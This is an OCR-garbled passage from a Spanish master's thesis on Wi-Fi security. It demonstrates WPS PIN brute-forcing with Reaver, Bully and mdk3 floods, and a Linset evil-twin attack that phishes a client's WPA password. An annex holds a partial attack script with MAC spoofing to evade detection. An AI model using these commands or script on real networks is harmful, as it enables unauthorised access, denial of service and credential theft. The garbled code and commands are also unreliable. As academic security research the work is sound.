mostrada, hace un escaneo de las redes, se selecciona una cualquiera y se calcula el
pin por defecto. También se puede meter la direccion MAC manualmente y que

devuelva el pin por defecto.
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wrl

o

Bl SOt spars

I 4 = 1 FErss S oSSSS TS

Una vez seleccionado el pin del algoritmo por defecto, que puede generar mas
de uno, tiene dos métodos para realizar el ataque y verificar que es el pin verdadero: el
generado por Reaver (por defecto) o aplicarle Reaver Test Pin (por fuerza bruta); pero
en este caso, nos volvemos a encontrar con el mismo problema que con herramientas

anteriores, se bloquea el ataque.

reaver -i mond -b 3E:D9:S4:31:8E:53 -c 11 -w

rl1l9 WiFi FPro
c) FALL, Tacti

Como podemos en todos los atagues no se ha conseguido el pin valido y
posteriormente la contrasefia de la red. Tras numerosos intentos de atague con
diferentes herramientas sobre el punto de acceso WPA2, éste se ha bloqueado o bien
porque ha superado el niumero de intentos (3) o bien porque no se ha cambiado la
direccion MAC de forma continua con lo que el PA lo detecta y bloquea durante 60

segundos.

Tras investigar por internet, encontré un script que solventaba estos dos
motivos por los que el punto de acceso se bloqueaba. Es decir, conseguia que la
direccibon MAC cambiase automaticamente para que el PA no la reconociese y
permitia un numero de intentos ilimitados. En la versién de Wifislax con la que se

realizaron todas estas pruebas no venia instalada esta herramienta, pero creo que en
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la proxima version vendrd incorporada. En el Anexo A dejo disponible el codigo del

script. La ejecucion de esta herramienta produce la siguiente salida:

Lo primero es seleccionar la tarjeta de red inalambrica para ponerla en modo

monitor:

RE EROW LD

R i
» mdk3 flood

BT RRB BB S ECRRERBOBEER
= Points that

detects that the AP has unlc
s Or. ..
i o o o = o S S S S e s s

Rheshehunnn

=
2
=
=
=
=
=

ReVdK3.sh-r2 (Revision 2)
WHAT S NEW?: Incorporating bully into the script

Thanks to Nlksan for some useful iddeas!

Which wireless interface you will be using? e.g wlanl, wlan2 etc:l

Seleccionamos el método de ataque, Reaver o Bully. Bully es una nueva
implementacién del ataque de fuerza bruta WPS. Esta escrito en C. Es muy parecido a

otros programas, ya que aprovecha el fallo de disefio en la especificaciéon WPS.

ENEEEEE NN AN AN E NN AN N LN X NN NN AN E NN NN
x L X
AN N N N E NN N N E NN E AN E X NN AN EN NN AN ENE
x x
x[1] Reaver vw1.49 [(lLegendary) x
= Ch this opt 4
Hewvanns M. . X
x[2] Bu F. X
X Choose t option if you prefer to crack with bully wl.0-22 ®
X X X X X Y X Y Y Y Y X E X Y Y X X A X XXX XN XXX XENEX XN E NN XX

Choose a preferred WPS Pin Cracker from abowe:l

Para saber la Mac del punto de acceso que queremos atacar y su ESSID,
podemos ejecutar cualquiera de las herramientas vistas anteriormente. Ahora vamos a
probar con MAC: F4:F2:XX:XX:XX:XX 'y ESSIS: MIWIFI...

What is the mac address of the access point you are targeting¥:F4:F2:
MAC address sawed. ..

EXEXXXXXXXXXX XXX XX
= E N ®
EX XX XX XX XX XXX EXEX XX XX XXX XXX XXX XX EX XX

What is the essid of the access point you are targeting: MIWIFI

A continuacion lo que hace es esconder mi MAC para que no deje huellas en el
ataque. Lo siguiente que se pregunta es el canal que le podemos poner el 7 (que es el
suyo) o ENTER para que recorra todos. Por las otras ejecuciones, se sabe que es el

canal 7. Lo proximo que nos pregunta es por el tiempo en segundos que se quiere
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dejar entre los intentos de pines. Damos ENTER para dejarlo por defecto (30

segundos).

XX E AN AN AN R AN NN AN RN LA NN
X CHANNEL SWITCH X

XXX XXX XN XXX NN EXXNNEXNINNN

What channel you want reaver listen on (-c flag), or press ENTER to use default reaver's option:7

XX XXX TN XXX NXN
X PIN DELAY SWITCH x
XN E NN AN AN AN NN AN NI NAN

How much time in seconds for distance between pin attempts? (-d flag), if you want to use default optiom press ENTER :
ANEEXEENNAXLAAAN (XIAEEXEXANRRANNANN
x TIME SWITCH x
XXX AN

How much time in seconds for reawer to timeout if the AP doesn't respond? (-t flag), if you want to use default option press

ENTER:

Seguidamente nos pide confirmacién por si no estamos de acuerdo con el

ataque que se va a lanzar:

AN A A E A AN E A AN E A AN AR R
AYER €0 iD HE YOu VE CHOODSEN x
KXXKXXXXK Xxx xx KXXKXXXXK

=i monl -b FA:F2:60:E8:08:6A -5 -c 7 -1 10 =N -wv

Are you satisified with this configuration? if not, dinput 'r* and you will be returmed to Reaver's Configuration Wizard:[]

Luego nos da a elegir 3 opciones de ataques que vamos a describir:

- Authentication DoS Flood Attack: es un ataque directo mediante denegacion de

servicio.

- EAPOL Start Flood Attack: quizas este es el mejor ataque o menor abrasivo.
Modificara la direccion cada cierto tiempo para que no sea detectada y bloqueada. Asi

no tendria que esperar los 60 segundos de bloqueo para volver a intentar el ataque.

- EAPOL log off Flood Attack: lo que se hace con esta opcion es reiniciar el rater o PA
a modo de fabrica y el WPS se restablecera al inicial. El cliente no se dara cuenta,
puesto que no afecta a su contrasefia ni configuracién. Resaltar que en esta opcion
nos solicitara una MAC de cualquier cliente conectado, y su posterior confirmacion del

ataque:

210 & mdk3 mon2 x 1 -t F4:F3:60:E8:0B:6A -5 200 -c 1C:5C:F2:A6:8C: 10

' to return to mdk3 main menu:f]
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Para conseguir esa MAC, se puede utilizar airodump-ng:

adrodurmp-ng

Elapsed: 30 5 ][ 2006-89-17 20:38
PWR Beacons . CIPHER AUTH ESSID

22 - = b TKIP PSK ATIWIFI

1l - [== o 5K jacana

14 S . (s o 5 Oramnge-T659
Comp {  JAZE DIEGO
CCHMP { HMOWISTAR_ IZI&00
Framas

S ELELE]

jacama

Como se puede observar, en este caso escogi la opcién 2, el ataque no se
corta, y sigue probando todos los pines:

FLS Tailures whille reading e
1 FCS failures wh
g FCS walidaticon {(ass 1
for "MINIFI SEEASTIAN MAWA
E fFroots . bBully .
an)Toge - sessiom, mow bruteforcesd

£ 00 *
Ledged & ¥ attemspis
M -0 3 -
3T sckmnowledged I atTempts
T Lo, " Next gRcbil=tebalete bl
g A

R Lt i

Received
Rece lved
Sending

Receivec
Recelved
Received
Received
Rece lved
Received
Received
Recelived
Received
Received
Recelved
Received

R R e

Sending EAPOL START request

)

De todos modos, con las herramientas Handshaker y Brutus, consegui
primero el handshake de la red para después, con Brutus, crear un diccionario
numérico de 8 posiciones en las que los caracteres eran numeros. El resultado se

muestra a continuacion:

El Handshake se encowenira en la carpeta ham

La ruta del handshake es Fr

Para ello selecciono primero la opcion 6:
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disponibles:

i»
=»
s>
7
=->»
LA
1=)
15>
L7
19

<o o

s Opc Foes wy peslwa

—

Las =ifigulfcentes opcicnes

2
=3

=»
->
-=>»
>

e

It roduce wms opciomn y polmas EMNMTES
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Una vez empezado el ataque, este transcurre hasta conseguir la contrasefia.

En este caso, la prueba también sali6 satisfactoria porque la contrasefia de la red

coincidia con el pin:

31] 708984 keys tested (557.35 k/s)

68 C1 D3
6D C9 32

F3 A7 3D
CF 83 (8
2C 6A D1

AS FO

A4 3k
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4.3.4 Ataque al protocolo WEP, WPA y WPA2. Linset

Para mostrar las debilidades que muestra este protocolo en primer lugar
utilizaremos una herramienta basada en ingenieria social. Bastante intuitiva y en poco
tiempo descubre la clave de cifrado. Esta herramienta se puede usar también con el
resto de protocolos, e independientemente del tipo de cifrado que use, TKIP, EAP, etc.

A continuacion desarrollo los pasos necesarios para conseguir dicho objetivo:

i i by
inset Is Not a Social Enginering Tool

DRREBRBORBERBBERBRRDERBURBBRBERRBRRERREBREBREIRRERN

Autodetectando Resolucidn...
800x600

Selecciona una interface:

1) wlano Ralink RT2870/3070 rt2800usb
27

Lo primero sera poner la tarjeta de red inalambrica en modo monitor, que en
este caso es un proceso automatico para seguir realizando un escaneo de las redes

en todos los canales tal que asi:

SELECCIONA CANAL

1) Todos los canales
2) Canal(es) especifico(s)

>

En este caso nos encontramos con 4 redes WPA2 y una WPA, usando

protocolos de cifrado como CCMP o TKIP.
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CH 9 ][ Elapsed: 2 mins ][ 2016-09-16 20:51
BSSID PWR Beacons  #Data, #/s CH ME ENC CIPHER AUTH ESSID
81 1878 B 13 Sde. WPAZ TKIF PS5K  MIWIFI Sl
£l 3] i) 1 S5d4e. WPAZ CCMP PSK zlerbgth: B
45 1 8 1 S54e. WPAZ CCMP  PSK Orange-7689
14 8 8 1 S4e WPAZ CCMP  PSK MOVISTAR 3600
43 [} 2 11 548 WPA CCMP P5SK JAZZ DIEGO
BSSID STATION PWR Rate Lost Frames Probe
H: -18 Sde- 1 10 23  jacana
H r -~24 S54e- le L] 1863 MIWIFI
:F5: -18 B-6 [} 11 prueba
tF2: -56 B -24 [] 1
edF: =60 be- 6 L] 2
95 -62 -1 L] 2

A continuacion, seleccionamos el objetivo que debe ser atacado:

riayer v Y g - 2 P g d TN e L B

ocial nginering lool

yER

Listado de APs Objetivo
CHAN SECU ESSID

98:97: i 2 MOVISTAR 3600
3E:D9: 11 WP A % JAZZ DIEGO
8C:34:F :76: 1 WP A 43% Orange-7689
60:E3:2 1 WP A

F4:F2: 13 WP A b MIWIFI

Red con Clientes

Selecciona Objetivo
2> 5

Ahora deberemos marcar el método de falsear el punto de acceso.

Marcaremos la opcion uno: Hostapd.

=2 e root : linset : - Konsole
Archivo Editar Ver arcadores Pre ncias Ayuda
HEBBRBRE I RBBBRBRE REBEBBBBUN HEBBBBUURER

i by
inset Is Not a Social Pfnginering

PRUREN pEnE 2RER

INFO AP OBJETIVO

SSID
Canal
Velocidad

MAC del AP

MIWIFI
13

54 Mbps
F4:F2:

MODO DE FakeAP

Hostapd ( )
airbase-ng (Conexion mas lenta)
Atras

10

Seguidamente debo seleccionar el handshake u omitirlo, en este caso

introduzco ENTER para omitirlo y conseguirlo nuevamente con aircrack-ng:

72
Desarrollo tedrico y empirico de la seguridad en redes Wi-Fi



José Javier Navas Carrasco Master Universitario en Seguridad Informatica

by
Is Not a Social Enginerimg T

INFO AP OBIETIVO

= MIWIFI
13
54 Mbps
= F4:F2: £

Introduzca La ruta del handshake que desea auditar
Pulsar ENTER para omitir

ruta: i

J i by
s Not a Social Enginering

TIPO DE COMPROBACION DEL HANDSHAKE
1) aircrack-ng (Posibilidades de fallo)

2) pyrit
i) Atras

>

Después de un tiempo, se consigue el handshake (arriba a la derecha) y nos

solicita que le confirmemaos su posesion o no.

Player ~ A= = i, A= | LNy =l
Capturando datos en el canal --> 13

LEEEEEEEEEEEEEEE ]
# BSSID PR RNQ Beacons #Data, #/s CH M8 ENC CIPHER AUTH ESSI

€H 13 ][ Elapsed: & s ][ 2616-69-16 20:35 ][ WPA handshake: F4:F2:

Linset ocial Enginering Tool -11 100 4 43 4 13 Sde. WPA2 TKIP  PSK MIWD
Rate Leost Frases Probe
SRR AR R AR AR AR AR R AR AR R R RAR AR ABR A IR BB
1e- 1 8 7
1e- le a 5
e , % le- le 142 22 MIWIFI
LSE CAPTURD el HANDSHAKE?

Estade del handshake: Sin handshake

5) Salir

# ]

En el siguiente paso, debemos marcar el tipo de desautenticacion que

qgueremos hacerle a los clientes que estan conectados a la red. Seleccionamos 1.
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CAPTURAR HANDSHAKE DEL CLIENTE

1) Realizar desaut. masiva al AP objetivo

Z2) Realizar desaut. masiva al AP (mdk3)

}) Realizar desaut. especifica al AP objetivo
1) Volver a escanear las redes

5) Salir

#>.

Seleccionamos el idioma que queremos con el que salga el texto a los clientes:

IMFO AF OBJIETIWVO
WILIFL SEBASTIAM NAVAS 7 WPAZ

Vel
MAC del tFZ:6D:EZF:0B:&A ()

SELECCIONA TDIOMA

EnglLlish [EMG]
Spanish [ESF]
Italy [IT]
Fremnch [FR]
Por tuguese [PFDR]

Luego se lanza automaticamente el ataque. Cabe destacar la ventana de la
izquierda abajo, que muestra los enlaces web que los clientes intentan visitar, pero
estan bloqueados; la ventana de abajo a la derecha que son las desconexiones entre
los clientes y el punto de acceso verdadero; y por ultimo, la ventana de arriba a ala

derecha que muestra los clientes que hay activos de esa red:

Esperando la pass

PUNTO DE ACC

CLIENTES ACTIVO!

1) Elegir otra red

Mientras tanto a los clientes que estaban usando internet con su movil,

intentaron acceder a fotocasa.es, a google.es, youtube.es y les paso lo siguiente:
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sen00 Orange F 20:50 68 % Il
#8400 Orange ¥ 20:50 68 % ML)
www.google.es — Gooagle Cancelar
fotocasa.es G Mejor resultado
Google
Cannot GET /es/comprarcnsns/expanafodus-ls-zonas/| google.es

www.google.com

www.google
eee00 Orange ¥ 21:01 67 %I
google.es v
Safari no puede abrir la pagina
Concierto MUSE 06.05.2016 Barclaycard  _ porauE o fe pedide conectarse
Center Madrid il servidor.
22 987 visualizaciones

Al visitar una de las webs, le sale la siguiente imagen con el recuadro. Cuando

seleccionamos de idioma en espariol, era para que el siguiente titulo saliese como tal:

eee00 Orange & 21:02 66 % M.

casadellibro.com (67

Login Page

ESSID: MIWIFI

BSSID: F4:F2: -
Chan: 13

Por razones de seguridad, introduzca la
contrasena para acceder a Internet

Introduzca su contrasena WPA:

El cliente pensando que por motivos de seguridad de su red, introduce la

contrasefa, y posteriormente en su movil aparece:
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seeco Orange 5 21:02 66 % .

casadellibro.com i

Login Page

Su conexion se restablecera en breves
momentos.

Y en nuestro programa de ataque nos brida la contrasefia que dicho usuario
introdujo sin pensar que era su punto de acceso falso. El archivo .cap con la

contrasefa la almacena en /root.

[00:00:00] 1 keys tested (352.45 k/s)

txt

MIWIFI

Por el contrario, al cliente que introdujo la contrasefia, y a todos los demas se
les rehabilitard su punto de acceso verdadero, pudiendo ya acceder a las webs

solicitadas con anterioridad:
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eee00 Orange 4G 21:04 66 % .

casadellibro.com [

o

Casa del Libro - 5% dto

| I desde la app
Gratis - En 1a App Store

’ i A ! MENU

VER

Escribe el titulo, el autor, Ia palabra dave g'
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5. Conclusiones

La comercializacién de las redes Wi-Fi tuvo una buena acogida entre los
clientes que la utilizaban, ya que les permite estar en contacto en cualquier superficie
que tenga esta tecnologia. Conforme ésta avanza, surge la necesidad de implantar
mecanismos de seguridad y sistemas cada vez mas seguros y sofisticados; con el
anico fin de mantener las comunicaciones seguras y preservar su confidencialidad e
integridad.

Actualmente las redes inaldmbricas necesitan nuevos mecanismos para
autenticar a los usuarios y para cifrar los datos. La seguridad de los sistemas de
acceso inaldmbrico es uno de los principales inconvenientes. Todo esto se ha visto
contribuido por varias razones: que se utilice como medio de comunicacién sin llevar
un control de los dispositivos o usuarios que acceden al medio, la pronta implantacion
en la sociedad, su facil uso e instalacion.

Su implantacién, ha traido ventajas como el incremento en la produccién de
trabajo y el descenso de costes econdémicos; pero también ha obviado los aspectos de
la seguridad. Se deberia hacer un esfuerzo para implantar nuevos estandares que
minimicen los problemas existentes respecto a la seguridad.

Ultimamente, se ha producido un incremento en las redes Wi-Fi que no ha sido
controlado por nadie. Las redes inaldmbricas se difunden a un ritmo bastante rapido,
presentan comodidad y tienen numerosas ventajas; pero las personas que hacen uso
de ella no se han percatado de los riesgos que conllevan su utilizacion. Muestra de ello
es que se han dado muchisimos casos en los que se ha conseguido obtener claves de
acceso, o se han realizado ataques de denegacion de servicio o0 incluso

suplantaciones de identidad y escuchas del trafico de los datos transferidos en la red.

En resumen, la seguridad de las redes (Wi-Fi) es de caracter bastante
importante y no se puede dejar a un lado su adecuada gestion. Como las
comunicaciones se trasladan por un medio no seguro, se necesitan sistemas
suplementarios que resguarden las dimensiones de la informacién, como son: la

confidencialidad, la integridad y autenticidad.

En el caso del protocolo de seguridad WEP forma parte del estandar 802.11, se
deben investigar nuevos sistemas de seguridad, ya que es demasiado inseguro.
Presenta numerosas y diferentes debilidades. Tanto el protocolo WPA como el
estandar IEEE 802.11i solucionaban muchos de los presentes fallos de WEP y, en su

momento, se consideraron soluciones seguras y confiables. Pero, como se ha
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demostrado en este documento, hemos visto que existen ya numerosos ataques que
dejan entrever las vulnerabilidades que presentan ambos niveles de seguridad,
prohibiendo asi, el logro de su principal propdsito que era asegurar la informacion,
tanto para WPA como para IEEE 802.11..

Todo el estudio aqui realizado nos permite deducir que a la hora de escoger
como proteger las redes inaldmbricas, es mejor decidirse por el protocolo de seguridad
WPA2. Este presenta una gran mejora del TKIP y proporciona una mejor fortaleza con
el cifrado AES.

De todos modos, si ho se cumplen los requisitos hardware que este protocolo
exige tener; es suficiente utilizar simplemente WPA, ya que, como hemos
comprobado, los principales agujeros de seguridad de ambos protocolos no se

encuentran en su algoritmo de cifrado y si en la clave de cifrado.

Dependiendo de cudl pongamos, asi serd el nivel de seguridad de la red. Se
recomienda que sea larga, con mayusculas, minasculas y caracteres especiales, que
no tenga sentido alguno, y que caduque periédicamente. De igual modo, para aquellas
personas que no tengan los conocimientos suficientes para la instalacién de un IDS
(Sistema de Identificacién de Intrusos) se recomienda que realicen un escaneo de la
red cada cierto tiempo para ver que equipos estan haciendo uso de la red. Ademas de
la implementacién de un cortafuegos para evitar en la medida de lo posible la intrusién

de usuarios con acceso no autorizado.

A pesar de todo lo comentado en este documento, el aumento de la capacidad
de procesamiento, la mejora de rendimiento en las nuevas maquinas y el incremento
de interés de las personas en romper la seguridad y/o estudiar el limite de los sistemas
actuales, haran que los sistemas implementados con 802.11i presenten cada vez mas
debilidades. Esto obliga a que se tenga que trabajar continuamente para aportar
extensiones nuevas que dificulten la ruptura de los protocolos, y/o nuevos estandares

que los sustituyan.

En este trabajo fin de master se ha revisado y desarrollado los principales
métodos y estandares para la seguridad Wi-Fi (IEEE 802.11). Se ha descubierto las
principales vulnerabilidades y amenazas en la seguridad de las redes inalambricas, asi
como en todos sus protocolos. Todo realizado siempre con un enfoque relacionado a
los tres componentes basicos de la tecnologia de redes inalambricas: clientes, puntos

de acceso y el medio de transmision.
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Se ha investigado y estudiado en profundidad los mecanismos de
autenticacion, los algoritmos de cifrado y el funcionamiento correspondiente a los
protocolos de seguridad comunmente utilizados: WEP, WPA y WPA2 PSK, ademas
del protocolo WPA y WPA2 Enterprise con el estandar IEEE. 802.11b o con el IEEE
802.1X-EAP-TTLS; lo cual ha permitido su posterior andlisis y comparacion. El
administrador de la red, puede elegir la configuracion que mas le interese en funcion a
las necesidades y requerimientos de los clientes. Por ultimo se ha demostrado con
pruebas de ataques y herramientas el bajo nivel de seguridad que, a dia de hoy
presentan.

Ademas de elegir el protocolo que mas se adapte y mayor seguridad dé a los
usuarios que utilicen la red, es muy recomendable tomar otras medidas de seguridad
como: la implementacién e instalacion de un cortafuegos, sistemas de autenticacion
robusto independiente (Radius), acceso a la red mediante direcciones MAC (aunque
también sean vulnerables), sistema de identificacién de intrusos e incluso, establecer

politicas de seguridad sobre la gestion de contrasefas, etc...
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6. Lineas de trabajo futuro

Por todo lo anteriormente desarrollado, considero que ha sido y serd de gran
relevancia la creacion de este documento.

El campo de las TIC esta practicamente presente en todos los ambitos de la
vida. Su continuo avance obliga a que los especialistas en la seguridad informatica y
mas concretamente en las redes inalambricas, estemos en continua evolucién. Nos
debemos adaptar a todos los cambios que se dan en el futuro y tenemos que estar en
un continuo reciclaje, consultando nueva documentacion, analizando y poniendo a
prueba a los nuevos sistemas. Debemos evaluar las nuevas tecnologias y analizar las

nuevas vulnerabilidades y amenazas que presentan los sistemas.

La aportacién aqui presente creo que es de vital importancia estudiarla y
respetarla para una mejora de los recursos de las TIC, mas concretamente en la
seguridad de la informacién. A investigadores y especialistas en la materia les servira

de ayuda la lectura del presente documento.

Este proyecto deberia despertar el interés por mejorar la actual seguridad en el
entorno de las redes Wi-Fi. Se ha demostrado el conjunto de vulnerabilidades que
presentan los protocolos encargados de la seguridad en las redes inalambricas y creo
que es mas que suficiente para motivas al personal y mejorar el disefio e
implementacién de estas tecnologias. Es la informacién de las personas la que esta en
juego. Y su no confidencialidad o integridad pueda traer consigo problemas de

diferentes indoles.

Hoy en dia, el desarrollo de este documento repercute basicamente en todos
los niveles de la sociedad, ya que todos estamos rodeados de redes inalambricas, en

el trabajo, en casa, en restaurantes, en hospitales, etc...

En el entorno empresarial es fundamental tomarse este problema con seriedad.
La inseguridad en sus redes les puede originar muchas situaciones incomodas, que
posteriormente si se tratan podran ser solucionadas o no. Podria llegar a poner en
riesgo toda la informacién personal y organizacional de la empresa, incluso arruinar el

negocio.

En el entorno social, en el televisor continuamente nos informan de las
imprudencias que se cometen dia tras dia en este &mbito y todo debido a la mala
gestion de la seguridad de los dispositivos. Dispositivos hay muchos y tecnologias

también, pero lo que en estos momentos comparten todos ellos son los protocolos que
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se usan para asegurar la informacion que se transmiten de unos a otros mediante las
redes Wi-Fi. De ahi la relevancia de este documento. Es un problema actual en la
sociedad.

En el ambito de la ciencia, estamos rodeados de tecnologias y el continuo
avance gue experimentan, hacen que este documento se pueda tomar como punto de
salida para futuras investigaciones referentes al campo de la seguridad de las redes

inalambricas. Debe ser vital para mantener segura la informacion de las personas.
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Anexo A: Script del ReVdK3-r2.sh

declare TARGET_STATION;

declare MDK3_KILLALL_1

declare AIREPLAY_KILLALL;

declare SUCCESSIVE_EAPOL_FAILURES;

declare AIREPLAY_RESET;

declare MONITOR_INTERFACES_CHECK;

declare GO_STATUS;

declare NO_GO_STATUS

clear

GO_STATUS="echo -e "\e[31m[\e[34mAffirmative\e[31m]\e[Om""
NO_GO_STATUS="echo -e "\e[31m[\e[33mNegative\e[31m]\e[Om""
REAVER_CHECK="which reaver’

BULLY_CHECK="which bully"”

MDK3_CHECK="which mdk3"

AIREPLAY_NG_CHECK="which aireplay-ng-
GNOME_TERMINAL_CHECK="which gnome-terminal”
TIMEOUT_CHECK="which timeout”

echo -e "\e[36mChecking to see if the following programs are installed";
echo -e "\e[36mProgram Exist?"

echo -ne "\e[36m[1] reaver";

if [ -z "$REAVER_CHECK" ]; then

echo -e " $NO_GO_STATUS";
else

echo -e " $GO_STATUS";

fi

sleep 0.2

echo -ne "\e[36m[2] bully";
if [ -z "$BULLY_CHECK" ]; then

echo -e " $NO_GO_STATUS";
else

echo -e " $GO_STATUS";

fi

sleep 0.2

echo -ne "\e[36m[3] mdk3";
if [ -z "$MDK3_CHECK" ]; then

echo -e " $NO_GO_STATUS";
else

echo -e " $GO_STATUS";

fi

sleep 0.2

echo -ne "\e[36m[4] aireplay-ng";
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if [ -z "$AIREPLAY_NG_CHECK" ]; then

echo -e " $NO_GO_STATUS";
else

echo -e " $GO_STATUS";

fi

sleep 0.2

echo -ne "\e[36m[5] gnome-terminal”;
if [ -z "$GNOME_TERMINAL_CHECK" ]; then

echo -e " $NO_GO_STATUS";
else

echo -e " $GO_STATUS";

fi

sleep 0.2

echo -ne "\e[36m[5] timeout";
if [ -z "$TIMEOUT_CHECK" ]; then

echo -e " $NO_GO_STATUS";
else

echo -e " $GO_STATUS";

fi

sleep 0.2

if [ -z "$MDK3_CHECK" ]; then

echo -e "\e[31m\e[1mmdk3 is not installed.Exiting script...";
exit

fi

if [ -z "$AIREPLAY_NG_CHECK" ]; then

echo -e "\e[31m\e[1lmaireplay-ng is not installed.Exiting script...";
exit

fi

if [ -z "$GNOME_TERMINAL CHECK" ]; then

echo -e "\e[31m\e[1mgnome-terminal is not installed.Exiting script...";
exit

fi

if [ -z "$TIMEOUT_CHECK" ]; then

echo -e "\e[31m\e[1mtimeout is not installed.Exiting script...";

exit

fi

clear

#WELCOM MESSAGE

echo -e "\e[36m\e[ Imi##HHHHHHHHEHHHHAHE \e [On"

echo -e "\e[36m\e[1m# WELCOME TO ReVdK3 Script#
\e[35m\e[1mC\e[92m\e[1mR\e[91m\e[1mE\e[34m\e[1mA\e[33m\e[1mT\e[96m\e[1mE\e[35m\e[1m
D \e[92m\e[1mB\e[35m\e[1mY\e[Om :
\e[35m\e[1mR\e[92m\e[1mE\e[91m\e[1mP\e[34m\e[1mZ\e[33m\e[1mE\e[96m\e[1mR\e[35m\e[1m
O\e[92m\e[1mW\e[91m\e[1mO\e[34m\e[1mR\e[33m\e[1mL\e[96m\e[1mD\e[35m\e[1m\e[Om";
echo -e "\e[36m\e[ Im##HHHHHHHHEHHHHAHEEE \e [On"
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echo -e

"\ e[ 36m\ e [ Im#HHHHHHHHHHHHEHHHHEEHEE R AR e

[om";

echo -e "\e[36m\e[1m# This Script allows you to use reaver and an mdk3 flood attack

that#\e[Om";

echo -e "\e[36m\e[1m# you choose

#\e[Om";

echo -e

"\ e[ 36m\ e [ It #HHHHHHEHEHHHHHEEEEHHHE AR e

[em";

echo -e "\e[36m\e[1m# This Script was created for Access Points that locks up for

long #\e[oOm";

echo -e "\e[36m\e[1m# periods of time. It works by starting reaver and continously

#\e[om";

echo -e "\e[36m\e[1m# detect when reaver is rate limiting pins, once reaver detects

#\e[Om";

echo -e "\e[36m\e[1m# the AP is rate limiting pins, it starts mdk3 attacks. mdk3

attacks#\e[om";

echo -e "\e[36m\e[1m# are killed once reaver detects that the AP has unlocked

itself ! #\e[om";

echo -e "\e[36m\e[1m# The prcoess goes on...

#\e[Om";

echo -e

"\ e[ 36m\ e[ ImitHHHt#HHHHHHE A \ e

[om";

echo ;

echo -e "\e[37m\e[44m\e[1m ReVdK3.sh-r2 (Revision 2)\e[@m";

echo ;

echo -e "\e[37m\e[44m\e[1mWHAT'S NEW?:Incorporating bully into the script\e[Om";

echo ;

echo -e "\e[37m\e[44m\e[1mThanks to Nlksan for some useful ideas!\e[Om";

echo ;

echo -e
"\e[36m\e[4Gm\e[lm******************************************************\e[0

m";

echo -e "\e[36m\e[40m\e[1m* Welcome: I need to verify your wireless interface

*\e[om";

echo -e

"\e[36m\e[40m\e[1m******************************************************\e[0
m";
echo ;
read -p "Which wireless interface you will be using? e.g wlanl, wlan2 etc": WLAN;
EXISTENCE_OF_WLAN="airmon-ng|grep ''"$WLAN"|cut -f1";
while [ -z "$WLAN" -o "$EXISTENCE_OF_WLAN" != "$WLAN" ]; do
echo -e "\e[31m\e[1lmYou input a wireless interface that doesn't exist!\e[oOm";

echo ;
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read -p "Which wireless interface you will be using? e.g wlanl, wlan2 etc": WLAN;

EXISTENCE_OF_WLAN="airmon-ng|grep ''"$WLAN"|cut -f1";

done

PHY_OF_WLAN_1="airmon-ng|grep $WLAN|cut -d ' ' -f47;

NO_OF_MONITOR_INTERFACES CHECK="airmon-ng|grep -F "$PHY_OF _WLAN 1" |wc -1";

MONITOR_INTERFACES="airmon-ng|grep -F "$PHY OF _WLAN_ 1"|cut -f1|tr -s [:space:] '
5

echo -e "\e[36m\e[1mKilling any existing monitor interface(s) on $WLAN\e[Om";

if [ "$NO_OF MONITOR_INTERFACES_CHECK" != 1 ]; then
for STOP_INTERFACE in $MONITOR_INTERFACES; do

if [ "$STOP_INTERFACE" != "$WLAN" ]; then
airmon-ng stop $STOP_INTERFACE > /dev/null;

fi

done

fi

echo -e "\e[36m\e[1mSuccessful!\e[Om";
echo -e "\e[36m\e[1mStarting three new monitor modes...\e[Om";

MON1="airmon-ng start $WLAN|grep -F '(monitor mode enabled on '|tr -s [:space:]

"lcut -d ' " -f6ltr -d ")
MON2="airmon-ng start $WLAN|grep -F '(monitor mode enabled on '|tr -s [:space:]
"lcut -d ' " -f6ltr -d ")
MON3="airmon-ng start $WLAN|grep -F '(monitor mode enabled on '|tr -s [:space:]
"lcut -d ' ' -f6ltr -d ")

echo "Successfull™

trap 'echo -e "\n\e[36m\e[1lmCleaning up all temporary files created by this
script..good house keeping...ensuring all processes are killed!\e[31m\e[Om";
killall -1 ReVdK3-r2.sh;killall mdk3 2> /dev/null; killall -9 reaver 2>
/dev/null;killall -9 bully 2> /dev/null; killall tail 2> /dev/null; rm -f
/etc/reaver_tmp.txt 2> /dev/null;

rm -f /etc/bully tmp.txt 2> /dev/null; airmon-ng stop "$MON1" > /dev/null; airmon-
ng stop "$MON2" > /dev/null; airmon-ng stop "$MON3" > /dev/null;

killall aireplay-ng 2> /dev/null;rm -f /etc/aireplay_tmp.txt 2> /dev/null;killall -
9 ReVdK3-r2.sh > /dev/null;' SIGINT SIGHUP EXIT

clear

function REAVER_COMMAND LINE_OPTIONS {

while [ "$SATISFIED_OPTION" = r ]; do

clear

echo ;

eChO -e "\e[36m\e[4@m\e[1m***********************************\e[em";

echo -e "\e[36m\e[40m\e[1m*Welcome to Reaver's configuration*\e[Om";

eChO -e "\e[36m\e[4@m\e[1m***********************************\e[em";

echo ;

echo -e "\e[36m\e[40m\e[ ImXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\e[om" ;
echo -e "\e[36m\e[40m\e[1mx MAC ADDRESS OF AP x\e[@Om";

echo -e "\e[36m\e[40m\e[ ImXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx\e[Om" ;
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echo ;

read -p "What is the mac address of the access point you are targeting?": MAC;
while [ -z "$MAC" ]; do

echo -e "\e[31m\e[1mYou need to input the target's MAC address\e[Om";

echo ;

read -p "What is the mac address of the access point you are targeting?": MAC;
done

echo "MAC address saved...";

echo ;

echo -e "\e[36m\e[40m\e[ IMXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx\e[om" ;
echo -e "\e[36m\e[40m\e[1mx ESSID OF AP x\e[Om";
echo -e "\e[36m\e[40m\e[ IMXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx\e[om" ;
echo ;

read -p "What is the essid of the access point you are targeting": ESSID;
while [ -z "$ESSID" ]; do

echo -e "\e[31m\e[1mYou need to input the target's ESSID when running aireplay-ng

&/or running mdk3 eapol start flood attacks!\e[om";

echo ;

read -p "What is the essid of the access point you are targeting": ESSID;
done

echo "ESSID saved...";

echo -e "\e[36m\e[1mI am hiding your identity by changing your mac\e[@m";
sleep 2;

ifconfig $WLAN down;

ifconfig $WLAN down;

ifconfig $WLAN down;

ifconfig $MON1 down;

ifconfig $MON1 down;

ifconfig $MON2 down;

ifconfig $MON2 down;

ifconfig $MON3 down;

ifconfig $MON3 down;

macchanger -m '78:03:40:02:94:8f"'
macchanger -m '78:03:40:02:94:8f"
macchanger -m '78:03:40:02:94:8f"'
macchanger -m '78:03:40:02:94:8f"
ifconfig $MON1 up;

